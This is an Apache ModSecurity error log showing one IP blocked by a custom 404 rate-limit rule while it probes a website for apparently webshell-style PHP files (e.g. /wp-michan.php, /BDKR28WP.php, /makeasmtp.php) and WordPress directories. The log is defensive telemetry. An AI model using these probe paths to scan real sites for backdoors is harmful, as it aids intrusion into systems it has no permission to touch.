[Sat Apr 11 21:41:47.938300 2026] [:error] [pid 42220:tid 42251] [client 20.215.64.75:11045] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "adpPm0z5c3Cs6a8B5QuEJQAAAMA"]
[Sat Apr 11 21:41:48.443111 2026] [:error] [pid 42313:tid 42330] [client 20.215.64.75:10994] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "adpPnF2P8TxdbaN018IwKQAAAA4"]
[Sat Apr 11 21:41:48.947514 2026] [:error] [pid 42313:tid 42324] [client 20.215.64.75:10999] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "adpPnF2P8TxdbaN018IwLQAAAAg"]
[Sat Apr 11 21:41:49.459939 2026] [:error] [pid 42313:tid 42318] [client 20.215.64.75:10894] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "adpPnV2P8TxdbaN018IwMgAAAAI"]
[Sat Apr 11 21:41:49.965948 2026] [:error] [pid 42221:tid 42284] [client 20.215.64.75:11031] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adpPnU2gt0pb_0-cc6mHTQAAAEY"]
[Sat Apr 11 21:41:50.470121 2026] [:error] [pid 42220:tid 42256] [client 20.215.64.75:10963] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adpPnkz5c3Cs6a8B5QuEKAAAAMU"]
[Sat Apr 11 21:41:50.977933 2026] [:error] [pid 42221:tid 42293] [client 20.215.64.75:10993] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adpPnk2gt0pb_0-cc6mHTgAAAE8"]
[Sat Apr 11 21:41:51.498914 2026] [:error] [pid 42219:tid 42239] [client 20.215.64.75:11169] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adpPnw-4IkVbTQx_J-2BggAAAJA"]
[Sat Apr 11 21:41:52.056626 2026] [:error] [pid 42219:tid 42229] [client 20.215.64.75:11003] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "adpPoA-4IkVbTQx_J-2BhAAAAIY"]
[Sat Apr 11 21:41:52.565885 2026] [:error] [pid 42313:tid 42324] [client 20.215.64.75:10973] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "adpPoF2P8TxdbaN018IwOQAAAAg"]
[Sat Apr 11 21:41:53.076534 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:11009] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "adpPoV2P8TxdbaN018IwPgAAABM"]
[Sat Apr 11 21:41:53.580944 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:11126] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "adpPoV2P8TxdbaN018IwPwAAAAM"]
[Sat Apr 11 21:41:54.086899 2026] [:error] [pid 42313:tid 42327] [client 20.215.64.75:11086] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "adpPol2P8TxdbaN018IwQAAAAAs"]
[Sat Apr 11 21:41:54.591713 2026] [:error] [pid 42221:tid 42294] [client 20.215.64.75:11049] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "adpPok2gt0pb_0-cc6mHVgAAAFA"]
[Sat Apr 11 21:41:55.096106 2026] [:error] [pid 42219:tid 42242] [client 20.215.64.75:10903] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "adpPow-4IkVbTQx_J-2BhgAAAJM"]
[Sat Apr 11 21:41:55.601002 2026] [:error] [pid 42313:tid 42330] [client 20.215.64.75:11017] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "adpPo12P8TxdbaN018IwQwAAAA4"]
[Sat Apr 11 21:41:56.106661 2026] [:error] [pid 42313:tid 42326] [client 20.215.64.75:11036] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "adpPpF2P8TxdbaN018IwRgAAAAo"]
[Sat Apr 11 21:41:56.613417 2026] [:error] [pid 42313:tid 42340] [client 20.215.64.75:10981] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "adpPpF2P8TxdbaN018IwRwAAABg"]
[Sat Apr 11 21:41:57.121314 2026] [:error] [pid 42221:tid 42280] [client 20.215.64.75:11067] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "adpPpU2gt0pb_0-cc6mHWgAAAEI"]
[Sat Apr 11 21:41:57.634646 2026] [:error] [pid 42220:tid 42272] [client 20.215.64.75:11030] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "adpPpUz5c3Cs6a8B5QuENgAAANU"]
[Sat Apr 11 21:41:58.139898 2026] [:error] [pid 42221:tid 42295] [client 20.215.64.75:11196] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alpha.php"] [unique_id "adpPpk2gt0pb_0-cc6mHXAAAAFE"]
[Sat Apr 11 21:41:58.645681 2026] [:error] [pid 42220:tid 42262] [client 20.215.64.75:11055] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alpha.php"] [unique_id "adpPpkz5c3Cs6a8B5QuEOQAAAMs"]
[Sat Apr 11 21:41:59.151511 2026] [:error] [pid 42220:tid 42254] [client 20.215.64.75:10897] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alpha.php"] [unique_id "adpPp0z5c3Cs6a8B5QuEOwAAAMM"]
[Sat Apr 11 21:41:59.666115 2026] [:error] [pid 42313:tid 42324] [client 20.215.64.75:10913] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alpha.php"] [unique_id "adpPp12P8TxdbaN018IwUQAAAAg"]
[Sat Apr 11 21:42:00.175410 2026] [:error] [pid 42219:tid 42237] [client 20.215.64.75:11035] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "adpPqA-4IkVbTQx_J-2BiQAAAI4"]
[Sat Apr 11 21:42:00.679533 2026] [:error] [pid 42219:tid 42243] [client 20.215.64.75:10988] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "adpPqA-4IkVbTQx_J-2BigAAAJQ"]
[Sat Apr 11 21:42:01.189154 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:10965] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "adpPqU2gt0pb_0-cc6mHYAAAAEk"]
[Sat Apr 11 21:42:01.695212 2026] [:error] [pid 42221:tid 42288] [client 20.215.64.75:10985] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "adpPqU2gt0pb_0-cc6mHYgAAAEo"]
[Sat Apr 11 21:42:02.201452 2026] [:error] [pid 42313:tid 42321] [client 20.215.64.75:11078] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "adpPql2P8TxdbaN018IwVgAAAAU"]
[Sat Apr 11 21:42:02.705732 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:10888] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "adpPql2P8TxdbaN018IwWgAAAAQ"]
[Sat Apr 11 21:42:03.220776 2026] [:error] [pid 42313:tid 42330] [client 20.215.64.75:11117] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "adpPq12P8TxdbaN018IwXQAAAA4"]
[Sat Apr 11 21:42:03.726204 2026] [:error] [pid 42313:tid 42327] [client 20.215.64.75:11028] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "adpPq12P8TxdbaN018IwXgAAAAs"]
[Sat Apr 11 21:42:04.231427 2026] [:error] [pid 42313:tid 42329] [client 20.215.64.75:11127] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adpPrF2P8TxdbaN018IwYAAAAA0"]
[Sat Apr 11 21:42:04.736487 2026] [:error] [pid 42313:tid 42323] [client 20.215.64.75:11135] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adpPrF2P8TxdbaN018IwYgAAAAc"]
[Sat Apr 11 21:42:05.303401 2026] [:error] [pid 42313:tid 42332] [client 20.215.64.75:11186] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adpPrV2P8TxdbaN018IwZwAAABA"]
[Sat Apr 11 21:42:05.808166 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:10979] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adpPrV2P8TxdbaN018IwawAAAAQ"]
[Sat Apr 11 21:42:06.314195 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:10997] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adpPrk2gt0pb_0-cc6mHZQAAAFI"]
[Sat Apr 11 21:42:06.820002 2026] [:error] [pid 42219:tid 42245] [client 20.215.64.75:11066] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adpPrg-4IkVbTQx_J-2BjgAAAJY"]
[Sat Apr 11 21:42:07.329843 2026] [:error] [pid 42221:tid 42299] [client 20.215.64.75:11061] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adpPr02gt0pb_0-cc6mHagAAAFU"]
[Sat Apr 11 21:42:07.834366 2026] [:error] [pid 42220:tid 42267] [client 20.215.64.75:10956] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adpPr0z5c3Cs6a8B5QuESAAAANA"]
[Sat Apr 11 21:42:08.342310 2026] [:error] [pid 42220:tid 42265] [client 20.215.64.75:11071] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "adpPsEz5c3Cs6a8B5QuESgAAAM4"]
[Sat Apr 11 21:42:08.850716 2026] [:error] [pid 42313:tid 42324] [client 20.215.64.75:11108] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "adpPsF2P8TxdbaN018IwbwAAAAg"]
[Sat Apr 11 21:42:09.355761 2026] [:error] [pid 42313:tid 42331] [client 20.215.64.75:10892] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "adpPsV2P8TxdbaN018IwcAAAAA8"]
[Sat Apr 11 21:42:09.898937 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:10911] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "adpPsV2P8TxdbaN018IwcwAAAAM"]
[Sat Apr 11 21:42:10.404500 2026] [:error] [pid 42313:tid 42330] [client 20.215.64.75:10990] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adpPsl2P8TxdbaN018IweAAAAA4"]
[Sat Apr 11 21:42:10.910042 2026] [:error] [pid 42220:tid 42269] [client 20.215.64.75:10891] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adpPskz5c3Cs6a8B5QuETwAAANI"]
[Sat Apr 11 21:42:11.427401 2026] [:error] [pid 42219:tid 42242] [client 20.215.64.75:11069] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adpPsw-4IkVbTQx_J-2BlAAAAJM"]
[Sat Apr 11 21:42:11.932664 2026] [:error] [pid 42313:tid 42331] [client 20.215.64.75:11119] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adpPs12P8TxdbaN018IwfAAAAA8"]
[Sat Apr 11 21:42:12.451111 2026] [:error] [pid 42221:tid 42294] [client 20.215.64.75:10969] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "adpPtE2gt0pb_0-cc6mHcQAAAFA"]
[Sat Apr 11 21:42:12.966532 2026] [:error] [pid 42219:tid 42244] [client 20.215.64.75:11083] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "adpPtA-4IkVbTQx_J-2BmQAAAJU"]
[Sat Apr 11 21:42:13.478264 2026] [:error] [pid 42220:tid 42253] [client 20.215.64.75:11005] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "adpPtUz5c3Cs6a8B5QuEVAAAAMI"]
[Sat Apr 11 21:42:13.990800 2026] [:error] [pid 42220:tid 42259] [client 20.215.64.75:10948] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "adpPtUz5c3Cs6a8B5QuEVQAAAMg"]
[Sat Apr 11 21:42:14.494786 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:10840] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp.php"] [unique_id "adpPtl2P8TxdbaN018IwfgAAAAM"]
[Sat Apr 11 21:42:14.999401 2026] [:error] [pid 42219:tid 42229] [client 20.215.64.75:10904] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp.php"] [unique_id "adpPtg-4IkVbTQx_J-2BngAAAIY"]
[Sat Apr 11 21:42:15.503429 2026] [:error] [pid 42220:tid 42270] [client 20.215.64.75:10952] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp.php"] [unique_id "adpPt0z5c3Cs6a8B5QuEWQAAANM"]
[Sat Apr 11 21:42:16.014883 2026] [:error] [pid 42219:tid 42224] [client 20.215.64.75:10915] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp.php"] [unique_id "adpPuA-4IkVbTQx_J-2BoAAAAIE"]
